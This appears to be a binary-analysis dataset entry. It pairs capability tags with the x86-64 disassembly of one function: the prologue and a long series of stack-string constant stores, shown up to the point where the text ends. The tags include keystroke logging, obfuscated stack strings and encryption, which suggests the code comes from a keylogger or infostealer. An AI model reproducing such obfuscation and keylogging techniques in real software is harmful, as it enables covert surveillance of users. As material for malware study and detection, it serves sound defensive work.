Function at 0x140003fb2
Capabilities:
Accept command line arguments
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Encrypt data using speck
Get disk information
Get file size
Get file version info
Get geographical location
Log keystrokes via polling
Manipulate console buffer
Move file
Parse pe header
Query environment variable
Read file on windows
Terminate process
Write file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
mov eax, 0x25228
call fcn.14015d930
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x251d0], rcx
mov qword [rbp + 0x251d8], rdx
mov qword [rbp + 0x251e0], r8
mov dword [rbp + 0x251e8], r9d
mov byte [rbp + 0x2505f], 9
movabs rax, 0x6bbaa8565d39aa01
mov qword [rbp + 0x25050], rax
mov dword [rbp + 0x7398], 0x57ad850e
movabs rax, 0x3034af65385f4b2d
mov qword [rbp + 0x25048], rax
mov dword [rbp + 0x7394], 0x4edfd2c6
mov dword [rbp + 0x25044], 0xa78f2baa
mov byte [rbp + 0x25043], 0x32
mov byte [rbp + 0x25042], 0x3a
mov dword [rbp + 0x7328], 0x65d53b84
mov word [rbp + 0x25040], 0x56
mov dword [rbp + 0x730c], 0xbb36994
mov word [rbp + 0x727e], 0x1c31
movabs rax, 0x77c1bfb6fa958d0a
mov qword [rbp + 0x7240], rax
mov dword [rbp + 0x2503c], 0x8c4f4c0f
movabs rax, 0x96d8ca4c48dc022
mov qword [rbp + 0x71e8], rax
mov byte [rbp + 0x71cf], 0x7f
mov word [rbp + 0x71bc], 0x6806
mov dword [rbp + 0x718c], 0x79804c37
mov word [rbp + 0x2503a], 0x495a
movabs rax, 0xbc265450bb8f6242
mov qword [rbp + 0x25030], rax
mov word [rbp + 0x2502e], 0x4a40
mov word [rbp + 0x70e4], 0xe1d
mov dword [rbp + 0x7054], 0x9d377be1
mov byte [rbp + 0x2502d], 0xbe
mov word [rbp + 0x2502a], 0x11e6
mov byte [rbp + 0x25029], 0xb0
mov word [rbp + 0x25026], 0x414d
mov dword [rbp + 0x6ff8], 0x2b7484b2
mov word [rbp + 0x6fd6], 0xcf
mov byte [rbp + 0x6fc7], 0xb1
mov dword [rbp + 0x6fa4], 0x48baaf9f
mov dword [rbp + 0x6f9c], 0x74956f48
mov word [rbp + 0x6f3e], 0x7bbb
mov byte [rbp + 0x6f26], 0xe3
mov word [rbp + 0x6f1c], 0x245
mov dword [rbp + 0x25020], 0x4b7f4487
mov byte [rbp + 0x2501f], 6
mov word [rbp + 0x6e9c], 0xd51
mov dword [rbp + 0x25018], 0x430a1f4c
mov byte [rbp + 0x6e6d], 2
mov word [rbp + 0x25016], 0xee3
mov byte [rbp + 0x6e4f], 0x13
mov word [rbp + 0x25014], 0x785
movabs rax, 0x8a8163dbe20a5b6
mov qword [rbp + 0x25008], rax
mov word [rbp + 0x6df2], 0xc08
movabs rax, 0x34187ba505b610fa
mov qword [rbp + 0x25000], rax
mov word [rbp + 0x6dcc], 0x3e2d
mov dword [rbp + 0x6d94], 0x40a5879e
mov word [rbp + 0x24ffe], 0x6982
mov word [rbp + 0x6d7a], 0x4621
mov byte [rbp + 0x6cef], 0xb
movabs rax, 0x228b130c6b106271
mov qword [rbp + 0x6cc0], rax
mov byte [rbp + 0x6cbf], 0x6b
mov word [rbp + 0x24ffc], 0x1ab6
mov dword [rbp + 0x24ff8], 0x9cfbce2
mov dword [rbp + 0x6bec], 0x6b9b3804
mov byte [rbp + 0x24ff7], 0x84
movabs rax, 0x637d32588d45db72
mov qword [rbp + 0x6bc8], rax
mov byte [rbp + 0x6b9f], 0x73
mov word [rbp + 0x6b84], 0x808
mov word [rbp + 0x24ff4], 0x431f
movabs rax, 0x7d1b1469bd08b9e7
mov qword [rbp + 0x24fe8], rax
mov byte [rbp + 0x24fe7], 0x67
mov word [rbp + 0x24fe4], 0x988
mov word [rbp + 0x6b0e], 0xf44
mov byte [rbp + 0x6b0d], 0x56
mov word [rbp + 0x6b04], 0x74ce
mov word [rbp + 0x6ae2], 0x14e8
movabs rax, 0x1be9085da35209a7
mov qword [rbp + 0x6ad0], rax
movabs rax, 0x6f7a1450759e15a5
mov qword [rbp + 0x24fd8], rax
mov word [rbp + 0x6a94], 0x60b1
mov byte [rbp + 0x6a7f], 0xdf
movabs rax, 0x58d3f16dbcd20574
mov qword [rbp + 0x24fd0], rax
mov byte [rbp + 0x6a4f], 0x47
mov byte [rbp + 0x24fcf], 0x57
movabs rax, 0x33cb249a23093d0b
mov qword [rbp + 0x24fc0], rax
mov byte [rbp + 0x6a12], 0x2a
mov dword [rbp + 0x24fbc], 0xf6af45c1
mov byte [rbp + 0x69d7], 0x78
mov byte [rbp + 0x24fbb], 0x4d
mov dword [rbp + 0x24fb4], 0x4b867bb6
mov dword [rbp + 0x6980], 0x1571804d
movabs rax, 0x5644710e35c370cf
mov qword [rbp + 0x24fa8], rax
mov dword [rbp + 0x6924], 0x5f1af815
mov byte [rbp + 0x690f], 7
mov dword [rbp + 0x68fc], 0x59cf57a5
mov byte [rbp + 0x24fa7], 0x63
movabs rax, 0xe699a2178ee8ee1c
mov qword [rbp + 0x68b8], rax
mov word [rbp + 0x24fa4], 0x3403
movabs rax, 0x5f94741c1b1af9b5
mov qword [rbp + 0x6890], rax
mov byte [rbp + 0x6845], 0x70
movabs rax, 0x160bce1d92c66e09
mov qword [rbp + 0x24f98], rax
mov byte [rbp + 0x673f], 0x51
mov dword [rbp + 0x6738], 0x793e376c
mov word [rbp + 0x6734], 0x851
mov dword [rbp + 0x6720], 0x2b9868be
mov dword [rbp + 0x24f94], 0x154cc31f
mov dword [rbp + 0x24f90], 0x38428341
mov byte [rbp + 0x24f8f], 0x14
mov byte [rbp + 0x24f8e], 0x25
movabs rax, 0x40c129de8e85fd05
mov qword [rbp + 0x24f80], rax
mov word [rbp + 0x24f7e], 0xce1
movabs rax, 0xd50e62bb4935eae5
mov qword [rbp + 0x66c0], rax
movabs rax, 0x529f8d75c88a4bdc
mov qword [rbp + 0x24f70], rax
mov word [rbp + 0x24f6e], 0x6f49
mov dword [rbp + 0x24f68], 0x2b6c622b
movabs rax, 0x77f348ebaf10ae72
mov qword [rbp + 0x6660], rax
mov word [rbp + 0x24f66], 0x51bb
mov byte [rbp + 0x24f65], 0x5f
mov byte [rbp + 0x24f64], 0x1d
mov dword [rbp + 0x24f60], 0xf33661af
mov word [rbp + 0x664a], 0xcfc
mov dword [rbp + 0x24f5c], 0x37a71283
movabs rax, 0x52e004b072fb085c
mov qword [rbp + 0x24f50], rax
mov byte [rbp + 0x65f7], 0x7c
mov byte [rbp + 0x24f4f], 0xef
mov word [rbp + 0x65ec], 0xf45
movabs rax, 0x512e145566a95af
mov qword [rbp + 0x24f40], rax
mov word [rbp + 0x65ca], 0xf15
mov word [rbp + 0x24f3e], 0x183
mov byte [rbp + 0x24f3d], 0x3c
mov byte [rbp + 0x24f3c], 0x45
mov dword [rbp + 0x65b4], 0x3532a486
movabs rax, 0x34c003793c19bdbc
mov qword [rbp + 0x24f30], rax
mov dword [rbp + 0x6574], 0xcdaa4d9e
movabs rax, 0x22febe6e626a56ac
mov qword [rbp + 0x6568], rax
movabs rax, 0xfbb20aaae4004ea7
mov qword [rbp + 0x6560], rax
movabs rax, 0x58cf8dec86ac5226
mov qword [rbp + 0x64f8], rax
mov byte [rbp + 0x64ef], 0x7a
mov word [rbp + 0x639c], 0x24af
mov byte [rbp + 0x24f2f], 0x71
mov byte [rbp + 0x6377], 0x18
mov byte [rbp + 0x6376], 0xdc
movabs rax, 0xfb74249246e331
mov qword [rbp + 0x6360], rax
mov byte [rbp + 0x24f2e], 0x7d
mov word [rbp + 0x6320], 0xeab
mov word [rbp + 0x24f2c], 0x5028
mov word [rbp + 0x24f2a], 0x406
mov dword [rbp + 0x62b8], 0x3a369456
movabs rax, 0x989d3c6b800101dd
mov qword [rbp + 0x24f20], rax
mov byte [rbp + 0x629a], 7
movabs rax, 0x44f31f6b562ee531
mov qword [rbp + 0x24f18], rax
mov word [rbp + 0x24f16], 0xdac
mov dword [rbp + 0x24f10], 0x1f6b44a3
mov dword [rbp + 0x626c], 0x396efdb5
mov dword [rbp + 0x6254], 0x6c8fe991
mov word [rbp + 0x6244], 0x7d76
movabs rax, 0xe7adfc337c13f9c9
mov qword [rbp + 0x6228], rax
mov dword [rbp + 0x24f0c], 0x69b6f2e
mov dword [rbp + 0x24f08], 0x4b91931
mov byte [rbp + 0x61c6], 0x2c
mov dword [rbp + 0x61b0], 0x7ab733e6
mov word [rbp + 0x24f06], 0xd25
movabs rax, 0x2f3171cb6e0d07a4
mov qword [rbp + 0x6148], rax
mov byte [rbp + 0x6145], 0x5c
mov word [rbp + 0x60fe], 0x1f0b
mov word [rbp + 0x60ee], 0x8af
mov dword [rbp + 0x6078], 0xc6fc730
mov dword [rbp + 0x606c], 0x497ab16d
mov word [rbp + 0x24f04], 0xa60
mov dword [rbp + 0x604c], 0x76bd441f
mov word [rbp + 0x6020], 0x5780
mov dword [rbp + 0x6010], 0x30b687f
mov word [rbp + 0x600c], 0x6ebf
movabs rax, 0x445aaf239dbb395a
mov qword [rbp + 0x24ef8], rax
mov dword [rbp + 0x5f5c], 0x46847b2d
mov word [rbp + 0x24ef6], 0x706
mov byte [rbp + 0x24ef5], 0x31
movabs rax, 0x8a8fb9ad8979635a
mov qword [rbp + 0x24ee8], rax
mov dword [rbp + 0x24ee4], 0x5591e235
movabs rax, 0x7452cd7810aac291
mov qword [rbp + 0x24ed8], rax
mov word [rbp + 0x24ed6], 0xc7
mov dword [rbp + 0x24ed0], 0x2e1cdff9
mov dword [rbp + 0x5f08], 0x6e6cff4c
mov word [rbp + 0x24ece], 0x3ede
movabs rax, 0x3028cc2178cab562
mov qword [rbp + 0x24ec0], rax
movabs rax, 0x8b0c3c6498da1fd2
mov qword [rbp + 0x5ea0], rax
mov byte [rbp + 0x24ebf], 0x17
mov dword [rbp + 0x5e9c], 0xa4bb9627
movabs rax, 0xd5116ee4da0faa23
mov qword [rbp + 0x5e90], rax
mov word [rbp + 0x5e8e], 0xd32
mov word [rbp + 0x5e6e], 0x493
movabs rax, 0x46f6991a42dd47f5
mov qword [rbp + 0x5e38], rax
mov byte [rbp + 0x5e37], 0xb2
mov word [rbp + 0x24ebc], 0x795
movabs rax, 0x258c27963888a52d
mov qword [rbp + 0x5de0], rax
mov byte [rbp + 0x5dd7], 0x77
mov byte [rbp + 0x5dcf], 0x70
movabs rax, 0x3e6c780629005771
mov qword [rbp + 0x5d68], rax
movabs rax, 0x63a7a73ba96e1c32
mov qword [rbp + 0x5d50], rax
mov word [rbp + 0x5d32], 0x6d0
mov word [rbp + 0x5d1c], 0x4bf
mov dword [rbp + 0x24eb8], 0x67515c93
mov word [rbp + 0x24eb6], 0xd0c
movabs rax, 0xb2c673714a6ad820
mov qword [rbp + 0x5cf8], rax
mov byte [rbp + 0x5cf1], 0xec
movabs rax, 0x498fd022e1b86866
mov qword [rbp + 0x5c20], rax
mov dword [rbp + 0x5c08], 0x584d967f
mov word [rbp + 0x5c06], 0x728f
mov dword [rbp + 0x5bd8], 0x6618ea26
movabs rax, 0x66af6844cfec83b2
mov qword [rbp + 0x5bc8], rax
movabs rax, 0x17b4c3a3f0e760f6
mov qword [rbp + 0x5bb0], rax
mov word [rbp + 0x5b90], 0x8f
movabs rax, 0x6cc6d8e72f73f7f9
mov qword [rbp + 0x24ea8], rax
movabs rax, 0x1f0a404a17d8f173
mov qword [rbp + 0x24ea0], rax
mov dword [rbp + 0x5b20], 0xd0af95f
mov dword [rbp + 0x24e9c], 0x1231bc8
mov byte [rbp + 0x596f], 0xe2
mov byte [rbp + 0x24e9b], 0x39
mov dword [rbp + 0x58d4], 0x50ea41f
mov word [rbp + 0x24e98], 0x48d4
mov word [rbp + 0x58a6], 0x3ad2
mov word [rbp + 0x587a], 0xa5a
movabs rax, 0x5d4fe485570bce10
mov qword [rbp + 0x24e90], rax
mov dword [rbp + 0x24e8c], 0x16ec75db
mov byte [rbp + 0x24e8b], 0x7f
mov byte [rbp + 0x583f], 7
mov byte [rbp + 0x24e8a], 0xcd
mov word [rbp + 0x24e88], 0x6b8f
mov dword [rbp + 0x24e84], 0x1e277132
mov byte [rbp + 0x57ef], 0xf1
mov dword [rbp + 0x24e80], 0x4b8d975a
mov word [rbp + 0x57c4], 0x228f
mov word [rbp + 0x578e], 0x416d
mov word [rbp + 0x578c], 0x887
mov word [rbp + 0x576e], 0x147d
mov word [rbp + 0x5726], 0x564
movabs rax, 0x546819345f3695bb
mov qword [rbp + 0x5718], rax
mov dword [rbp + 0x5714], 0x67dd741f
movabs rax, 0x629580389db804dc
mov qword [rbp + 0x24e78], rax
mov dword [rbp + 0x56f4], 0x6a8f700
movabs rax, 0xd12f4b627d1cd970
mov qword [rbp + 0x56d8], rax
mov dword [rbp + 0x24e74], 0x5e382ed8
movabs rax, 0x773555ccc9b89dd1
mov qword [rbp + 0x24e68], rax
mov dword [rbp + 0x56b0], 0x9d7f0265
mov word [rbp + 0x56a6], 0xf8a
movabs rax, 0x7447d4fa30e3d159
mov qword [rbp + 0x24e60], rax
mov dword [rbp + 0x24e5c], 0x2f0f309d
mov word [rbp + 0x565c], 0x34b
mov dword [rbp + 0x5658], 0x17f6af81
mov word [rbp + 0x55aa], 0xd74
mov word [rbp + 0x5570], 0x3681
movabs rax, 0xc052e7a903c3274
mov qword [rbp + 0x24e50], rax
mov byte [rbp + 0x24e4f], 0x71
mov word [rbp + 0x54ce], 3
mov dword [rbp + 0x549c], 0x172125c6
movabs rax, 0x6385958922b22558
mov qword [rbp + 0x24e40], rax
movabs rax, 0x62863476bbb0160f
mov qword [rbp + 0x5488], rax
movabs rax, 0xa9ccf00288c6ea0a
mov qword [rbp + 0x24e38], rax
mov word [rbp + 0x547a], 0x6fbe
mov word [rbp + 0x24e36], 0x520
mov byte [rbp + 0x5476], 0x53
mov dword [rbp + 0x5470], 0x9912487b
movabs rax, 0xa5bea746a8c84976
mov qword [rbp + 0x5468], rax
movabs rax, 0xfda1aab3431efafe
mov qword [rbp + 0x5438], rax
mov byte [rbp + 0x5437], 0x6f
mov word [rbp + 0x5430], 0xeab
mov dword [rbp + 0x5428], 0x3d1fd1a2
mov dword [rbp + 0x24e30], 0x7f9811b4
mov byte [rbp + 0x541d], 0x9c
mov word [rbp + 0x53fe], 0x309
mov dword [rbp + 0x53c0], 0x62864dfe
mov byte [rbp + 0x53af], 0x55
mov word [rbp + 0x24e2e], 0xf7d
mov byte [rbp + 0x24e2d], 0x60
mov word [rbp + 0x24e2a], 0xaac
mov dword [rbp + 0x532c], 0xa3c5ba0d
movabs rax, 0x3228f8108bae1ee8
mov qword [rbp + 0x5320], rax
movabs rax, 0x2953516628638838
mov qword [rbp + 0x24e20], rax
mov word [rbp + 0x24e1e], 0x4c8
mov byte [rbp + 0x52b6], 0x6b
movabs rax, 0xb0ebc86cab103676
mov qword [rbp + 0x5298], rax
movabs rax, 0x3baa83e3d7625118
mov qword [rbp + 0x24e10], rax
mov word [rbp + 0x527a], 0x314a
movabs rax, 0x7071a9adbb37138f
mov qword [rbp + 0x24e08], rax
mov byte [rbp + 0x24e07], 0xb
movabs rax, 0x33a5322e1cbbeec
mov qword [rbp + 0x24df8], rax
movabs rax, 0x700067d72a24abf2
mov qword [rbp + 0x5230], rax
movabs rax, 0x5d33c942ae2e016
mov qword [rbp + 0x5200], rax
mov word [rbp + 0x24df6], 0x5458
mov dword [rbp + 0x519c], 0xd4a194d4
movabs rax, 0x4812a09ded3bf1ca
mov qword [rbp + 0x24de8], rax
mov dword [rbp + 0x5184], 0x2e666958
movabs rax, 0x5472f36e763acc6f
mov qword [rbp + 0x24de0], rax
mov word [rbp + 0x5160], 0xe7c
movabs rax, 0xbd9af3549f4e6210
mov qword [rbp + 0x24dd8], rax
mov dword [rbp + 0x5144], 0xa2ed596
mov dword [rbp + 0x24dd4], 0x28933779
movabs rax, 0x9abc907136009586
mov qword [rbp + 0x24dc8], rax
movabs rax, 0x2493ba4b72b88f1a
mov qword [rbp + 0x24dc0], rax
mov word [rbp + 0x50ee], 0x671c
mov byte [rbp + 0x24dbf], 0x66
movabs rax, 0xb5b96c278f5dafc2
mov qword [rbp + 0x24db0], rax
movabs rax, 0x47987eac866574b7
mov qword [rbp + 0x5098], rax
movabs rax, 0x6c606e6d749ed1a3
mov qword [rbp + 0x5068], rax
mov dword [rbp + 0x503c], 0x4e0ec0b5
mov byte [rbp + 0x5027], 0xf3
mov byte [rbp + 0x5013], 0xad
movabs rax, 0x18147ff96466dbb3
mov qword [rbp + 0x24da8], rax
movabs rax, 0x3e02b97a792c1068
mov qword [rbp + 0x4fb0], rax
movabs rax, 0xea6764e80b564843
mov qword [rbp + 0x4f90], rax
mov word [rbp + 0x24da6], 0xfc1
mov word [rbp + 0x24da4], 0x56
movabs rax, 0x6d7a0cf56551045f
mov qword [rbp + 0x24d98], rax
mov byte [rbp + 0x4f0b], 0x29
mov byte [rbp + 0x4ef7], 0x55
mov byte [rbp + 0x4eaf], 0x33
mov word [rbp + 0x4e80], 0xf56
mov dword [rbp + 0x4e68], 0x52f2f694
mov byte [rbp + 0x4e5f], 0xa2
movabs rax, 0x50c3037d5a86f8f6
mov qword [rbp + 0x4e20], rax
mov byte [rbp + 0x4e1f], 1
mov dword [rbp + 0x4dd8], 0x9968d3b6
mov word [rbp + 0x4dd6], 0x3638
mov word [rbp + 0x4da2], 0x582
mov dword [rbp + 0x4d9c], 0x652f8381
mov dword [rbp + 0x24d94], 0xf59993af
movabs rax, 0xd08970ea6d72e0ef
mov qword [rbp + 0x4d80], rax
mov byte [rbp + 0x4d67], 0x28
movabs rax, 0x3722189cbc93ed03
mov qword [rbp + 0x24d88], rax
mov dword [rbp + 0x24d84], 0x5d83b13a
movabs rax, 0x640fa5f08935dc55
mov qword [rbp + 0x4d28], rax
mov word [rbp + 0x4d1e], 0x25
movabs rax, 0x1611f948d29842c2
mov qword [rbp + 0x4d10], rax
movabs rax, 0x109d9fc512a0276e
mov qword [rbp + 0x4d08], rax
mov byte [rbp + 0x4d07], 0x7a
movabs rax, 0x40d5eb637e4a2dcf
mov qword [rbp + 0x24d78], rax
mov byte [rbp + 0x4cf7], 0x68
movabs rax, 0x190cdf1d3340d4f7
mov qword [rbp + 0x4af0], rax
mov byte [rbp + 0x4abb], 0xbb
movabs rax, 0x7ad73a37787787eb
mov qword [rbp + 0x24d70], rax
mov dword [rbp + 0x24d6c], 0x6bd7ce93
movabs rax, 0x6992a54ffa6db04f
mov qword [rbp + 0x4a88], rax
mov word [rbp + 0x24d6a], 0xb79
mov word [rbp + 0x24d68], 0x436d
movabs rax, 0x97957140b8dba5c2
mov qword [rbp + 0x4a68], rax
mov byte [rbp + 0x4a07], 0x79
mov byte [rbp + 0x24d67], 0x5d
mov byte [rbp + 0x4a06], 0x17
movabs rax, 0x308114881c1afdbb
mov qword [rbp + 0x49d0], rax
mov byte [rbp + 0x49b0], 0xab
mov dword [rbp + 0x49a4], 0x4f97a759
mov byte [rbp + 0x4977], 0x75
mov dword [rbp + 0x24d60], 0x29cfe033
mov dword [rbp + 0x24d5c], 0xdacea7e6
mov dword [rbp + 0x24d58], 0xf35eb4dd
mov byte [rbp + 0x4917], 0x5e
mov byte [rbp + 0x24d57], 0x29
movabs rax, 0x68bc8ecf5ad5c101
mov qword [rbp + 0x24d48], rax
mov word [rbp + 0x24d46], 0x1470
movabs rax, 0x528e483fed57d02f
mov qword [rbp + 0x24d38], rax
movabs rax, 0x4e7a9ecae3cd5654
mov qword [rbp + 0x24d30], rax
mov byte [rbp + 0x24d2f], 0xcc
movabs rax, 0x9330cb279ba794d5
mov qword [rbp + 0x24d20], rax
mov word [rbp + 0x24d1e], 0xb14
mov word [rbp + 0x4892], 0x4f56
mov word [rbp + 0x488a], 0x4ff2
mov byte [rbp + 0x487f], 0xd6
movabs rax, 0x6ad9136be6355499
mov qword [rbp + 0x4850], rax
mov byte [rbp + 0x24d1d], 0x4f
movabs rax, 0xc1c15ec0cd6fbde8
mov qword [rbp + 0x4818], rax
mov word [rbp + 0x4802], 0xe18
mov word [rbp + 0x24d1a], 0xbcf
mov byte [rbp + 0x476f], 0x6f
mov byte [rbp + 0x476e], 0x29
mov byte [rbp + 0x474f], 0x60
movabs rax, 0x74bb37cfd22492a9
mov qword [rbp + 0x46d0], rax
mov word [rbp + 0x46a2], 0x9dc
mov dword [rbp + 0x24d14], 0x3b7dc937
mov dword [rbp + 0x4694], 0xa4166ac3
movabs rax, 0x3c3eea6053d824f3
mov qword [rbp + 0x4688], rax
mov byte [rbp + 0x467f], 0x54
mov byte [rbp + 0x4647], 0x48
mov word [rbp + 0x24d12], 0x28e6
mov byte [rbp + 0x4635], 0x1c
movabs rax, 0x2bea32c0fbf73d93
mov qword [rbp + 0x4628], rax
mov word [rbp + 0x4624], 0x1641
movabs rax, 0x9e80d6744263fb15
mov qword [rbp + 0x45f0], rax
mov word [rbp + 0x45ee], 0x1f83
movabs rax, 0x590720619b210ef2
mov qword [rbp + 0x45a0], rax
mov word [rbp + 0x24d10], 0x379d
mov byte [rbp + 0x24d0f], 0xda
mov byte [rbp + 0x24d0e], 0x3d
movabs rax, 0x5fd85a72cbe1fa92
mov qword [rbp + 0x24d00], rax
mov byte [rbp + 0x24cff], 1
mov byte [rbp + 0x4550], 0x82
mov word [rbp + 0x24cfc], 0x5f0f
mov dword [rbp + 0x24cf8], 0x44a8ef97
mov byte [rbp + 0x24cf7], 0x1b
movabs rax, 0x4b922b9433b330c8
mov qword [rbp + 0x24ce8], rax
mov word [rbp + 0x24ce6], 0x973
movabs rax, 0xd06c99dccf3a6bc7
mov qword [rbp + 0x24cd8], rax
mov word [rbp + 0x44a2], 0x471b
mov word [rbp + 0x4486], 0x2e9f
mov byte [rbp + 0x443f], 0x73
mov word [rbp + 0x4438], 0x16fb
mov byte [rbp + 0x442d], 0x2a
movabs rax, 0x39545226b5db5135
mov qword [rbp + 0x43e8], rax
mov dword [rbp + 0x43d0], 0x2784287a
mov word [rbp + 0x24cd6], 0xd34
movabs rax, 0x37cdef3b17b1b38
mov qword [rbp + 0x4398], rax
mov dword [rbp + 0x24cd0], 0x4c38280f
movabs rax, 0x7cecfb8971d41b30
mov qword [rbp + 0x24cc8], rax
mov word [rbp + 0x435c], 0x4305
movabs rax, 0x653f001406e7dc70
mov qword [rbp + 0x4330], rax
mov byte [rbp + 0x4301], 0xd4
mov dword [rbp + 0x42f8], 0x66fa3764
mov word [rbp + 0x42f6], 0x56e7
mov byte [rbp + 0x24cc7], 0x18
mov word [rbp + 0x42e6], 0x920
movabs rax, 0xf788bd1e58547afe
mov qword [rbp + 0x24cb8], rax
mov word [rbp + 0x428a], 0x95d
mov dword [rbp + 0x4270], 0x32cda23b
mov byte [rbp + 0x4267], 0x74
mov dword [rbp + 0x24cb4], 0x235c7c78
mov word [rbp + 0x4244], 0x6de
mov dword [rbp + 0x24cb0], 0x204bf7a3
mov dword [rbp + 0x4210], 0x5e4fce01
movabs rax, 0x2fcfc5de9bc0ad95
mov qword [rbp + 0x24ca8], rax
mov byte [rbp + 0x24ca7], 0x22
mov word [rbp + 0x41c6], 0xff
movabs rax, 0xcd152481acd07557
mov qword [rbp + 0x24c98], rax
mov word [rbp + 0x41be], 0x7d2
movabs rax, 0x901e5ad5f3c79588
mov qword [rbp + 0x24c90], rax
movabs rax, 0xb4e78f43e38ff3c
mov qword [rbp + 0x41b0], rax
movabs rax, 0x4a2f995c7397f251
mov qword [rbp + 0x24c88], rax
mov dword [rbp + 0x24c84], 0x1af4cee8
mov byte [rbp + 0x4158], 0x36
movabs rax, 0xc7feb44000cdef79
mov qword [rbp + 0x4140], rax
mov byte [rbp + 0x24c83], 0x2f
mov dword [rbp + 0x24c7c], 0x25111c25
movabs rax, 0x6bb4a432ad7d54b3
mov qword [rbp + 0x4108], rax
movabs rax, 0xc46e1894f0658724
mov qword [rbp + 0x24c70], rax
mov dword [rbp + 0x40ac], 0x2b1bbf32
movabs rax, 0x2501788653ab9de6
mov qword [rbp + 0x24c68], rax
movabs rax, 0x140502bffbad8b02
mov qword [rbp + 0x40a0], rax
movabs rax, 0x17b72cb744e30337
mov qword [rbp + 0x4090], rax
movabs rax, 0x215005fc49eff815
mov qword [rbp + 0x4088], rax
mov dword [rbp + 0x4084], 0x4b8aa582
movabs rax, 0xc119253117516236
mov qword [rbp + 0x24c60], rax
mov dword [rbp + 0x403c], 0x73950b84
mov word [rbp + 0x24c5e], 0xd42
mov dword [rbp + 0x401c], 0x1f40a9a5
mov dword [rbp + 0x24c58], 0x46c1addf
mov word [rbp + 0x3fc6], 0x854
mov dword [rbp + 0x24c54], 0x19d13018
movabs rax, 0x154346b6e2fb3359
mov qword [rbp + 0x24c48], rax
mov byte [rbp + 0x24c47], 0xde
mov dword [rbp + 0x24c40], 0x1afe610a
movabs rax, 0x5ca2dc31086bc2c8
mov qword [rbp + 0x3f88], rax
mov byte [rbp + 0x24c3f], 0x39
mov dword [rbp + 0x24c38], 0x84bb590
mov word [rbp + 0x3f5c], 0xabc
mov byte [rbp + 0x3f57], 0x2e
mov dword [rbp + 0x24c34], 0xe508de51
mov word [rbp + 0x24c32], 0x241
mov dword [rbp + 0x24c2c], 0xa76e5df
mov byte [rbp + 0x3eed], 0x5d
mov byte [rbp + 0x3ee1], 0xb1
mov dword [rbp + 0x3ed8], 0x8cf97517
movabs rax, 0xb147b42ee4bd9bf
mov qword [rbp + 0x3ec8], rax
mov byte [rbp + 0x3ec6], 0x39
mov dword [rbp + 0x3ea8], 0x53f3c866
movabs rax, 0x5db458aa1ed095b9
mov qword [rbp + 0x24c20], rax
mov byte [rbp + 0x24c1f], 0x89
movabs rax, 0xf5303d9635d0eb8
mov qword [rbp + 0x3e80], rax
mov dword [rbp + 0x24c18], 0xa5c450ea
mov byte [rbp + 0x3e5b], 0xc
mov dword [rbp + 0x24c14], 0x2686b681
movabs rax, 0x9951a5190b052a90
mov qword [rbp + 0x24c08], rax
movabs rax, 0x1b7c318b46df69a0
mov qword [rbp + 0x24c00], rax
mov byte [rbp + 0x24bff], 0x7c
movabs rax, 0xc62a9feaf13d1808
mov qword [rbp + 0x24bf0], rax
mov word [rbp + 0x24bee], 0xcbe
mov byte [rbp + 0x3da7], 0x71
mov byte [rbp + 0x3d07], 0x2f
mov byte [rbp + 0x3d03], 0x5d
mov dword [rbp + 0x24be8], 0xa0263516
mov word [rbp + 0x24be6], 0x8a5
mov word [rbp + 0x3cde], 0x3e70
mov dword [rbp + 0x3cd8], 0xd9d3c209
mov dword [rbp + 0x3cd4], 0x26e453c
mov byte [rbp + 0x3cc7], 0x65
mov word [rbp + 0x3cc4], 0xc09
movabs rax, 0xbdeb0e768b059d03
mov qword [rbp + 0x24bd8], rax
mov word [rbp + 0x3cc0], 0x9a6
mov byte [rbp + 0x3cab], 0x4f
mov word [rbp + 0x3ca6], 0xf73
mov word [rbp + 0x3c8c], 0x1cc
mov dword [rbp + 0x24bd4], 0x77c0ec5
mov word [rbp + 0x24bd2], 0x3982
movabs rax, 0x1efbbcee3711a2bf
mov qword [rbp + 0x3c70], rax
movabs rax, 0x7d5e5f73881b1077
mov qword [rbp + 0x3c60], rax
movabs rax, 0x838ab068515acb00
mov qword [rbp + 0x3c30], rax
movabs rax, 0x14cfd3fcc9755e87
mov qword [rbp + 0x3c10], rax
mov word [rbp + 0x3c0e], 0x41a1
movabs rax, 0x803e06c3243200ad
mov qword [rbp + 0x24bc8], rax
mov byte [rbp + 0x3bfd], 0x42
mov dword [rbp + 0x24bc4], 0x3b1adec3
movabs rax, 0x459237c7a97a618b
mov qword [rbp + 0x24bb8], rax
mov byte [rbp + 0x3b81], 0x7b
mov byte [rbp + 0x24bb7], 0x5f
mov byte [rbp + 0x3b65], 0x99
mov word [rbp + 0x3b42], 0x86f
movabs rax, 0x3d8006ae32a069cd
mov qword [rbp + 0x3b18], rax
mov dword [rbp + 0x24bb0], 0x18d13359
mov word [rbp + 0x3b12], 0x4324
mov word [rbp + 0x3b10], 0xe6e
mov dword [rbp + 0x3b04], 0xf4dd8abb
mov dword [rbp + 0x3af4], 0x7ebea28
mov word [rbp + 0x3af2], 0x380
mov word [rbp + 0x3af0], 0x47e4
mov dword [rbp + 0x24bac], 0x661e2675
movabs rax, 0x184e796bc4a2582d
mov qword [rbp + 0x3ae8], rax
movabs rax, 0x55b936887830748e
mov qword [rbp + 0x24ba0], rax
mov byte [rbp + 0x3ad2], 0xbc
mov dword [rbp + 0x3aac], 0xc2aca6e5
mov byte [rbp + 0x24b9f], 0x5b
mov dword [rbp + 0x3a98], 0x4d8fbeaa
mov byte [rbp + 0x24b9e], 0x89
mov byte [rbp + 0x3a8e], 0x5d
mov byte [rbp + 0x3a8c], 0x1e
mov dword [rbp + 0x3a74], 0x7bf626ee
mov dword [rbp + 0x3a50], 0xb86830d4
mov byte [rbp + 0x3a4f], 0x17
movabs rax, 0x5fc5d20ad375d3da
mov qword [rbp + 0x3a40], rax
mov word [rbp + 0x3a20], 0x5eaa
movabs rax, 0x74c488582aa7401f
mov qword [rbp + 0x24b90], rax
movabs rax, 0xa3f99d2ea1a2638
mov qword [rbp + 0x39e8], rax
movabs rax, 0x45667cf0a2bb5560
mov qword [rbp + 0x24b88], rax
movabs rax, 0x6fdde3b7365e32c7
mov qword [rbp + 0x3930], rax
mov byte [rbp + 0x24b87], 0x64
movabs rax, 0x9d8f0be5028ad192
mov qword [rbp + 0x24b78], rax
movabs rax, 0x5a313798406d2a88
mov qword [rbp + 0x24b70], rax
mov word [rbp + 0x389e], 0xc3a
mov dword [rbp + 0x3880], 0x633b77c9
mov word [rbp + 0x385a], 0x728
mov byte [rbp + 0x3843], 0x67
